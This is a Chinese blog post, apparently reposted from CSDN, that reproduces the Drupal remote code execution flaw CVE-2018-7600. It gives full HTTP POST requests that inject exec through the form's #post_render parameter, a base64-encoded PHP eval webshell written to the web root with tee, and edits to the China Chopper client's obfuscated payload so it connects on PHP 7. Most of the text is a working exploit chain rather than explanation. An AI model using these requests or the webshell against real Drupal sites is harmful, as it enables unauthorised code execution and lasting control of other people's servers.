drupal远程代码执行 (CVE-2018-7600)漏洞学习与复现


一、漏洞描述

drupal是一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。该漏洞产生的原因在于Drupal对表单渲染时未进行严格的安全过滤,导致,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码。


二、POC&EXP

首先需要确定目标的版本,可以通过访问目标站点的以下两个文件去确定(当然也可以通过信息搜集识别站点的cms版本):

http://target_ip:port/core/CHANGELOG.txt
http://target_ip:port/CHANGELOG.txt

在这里插入图片描述
当目标为存在漏洞的版本时,则很可能存在相关漏洞。先用网上公开的POC去验证,访问以下地址:

http://target_ip:port/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

然后抓取该页面的数据包,并将整个数据包替换为如下内容:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target_ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

修改其中的HOST参数为目标站点的IP和端口即可。
当回显内容出现id命令执行的结果则证明漏洞存在:
在这里插入图片描述
接着可以开始写入webshell。需要注意的是,drupal会过滤>,因此有出现>的地方都要设法用别的内容代替。
这里先写好webshell内容:
<?php eval($_REQUEST[8]) ;?>
进行base64编码:
PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==
构造命令:
echo “PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==” |base64 -d |tee test.php
这里的base64 -d是指将前面的字符串进行base64解码再输出,而tee则是将结果输出并将结果写入到指定的文件中。
之后构造数据包如下:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target_ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo “PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==” |base64 -d |tee test.php

该文件写入后会出现在网站根目录下。可以在目标的根目录下访问该文件并传参phpinfo();命令让它执行,若成功,则可以使用webshell管理工具连接该文件。
在这里插入图片描述
需要注意的是,如果使用中国菜刀进行连接,而目标站点如果是php7.x的版本,则会报错导致无法连接。此时应修改菜刀的配置,把以下内容:
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
改成:
eval(base64_decode('%s'));
之后即可正常连接。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_64551911/article/details/128355788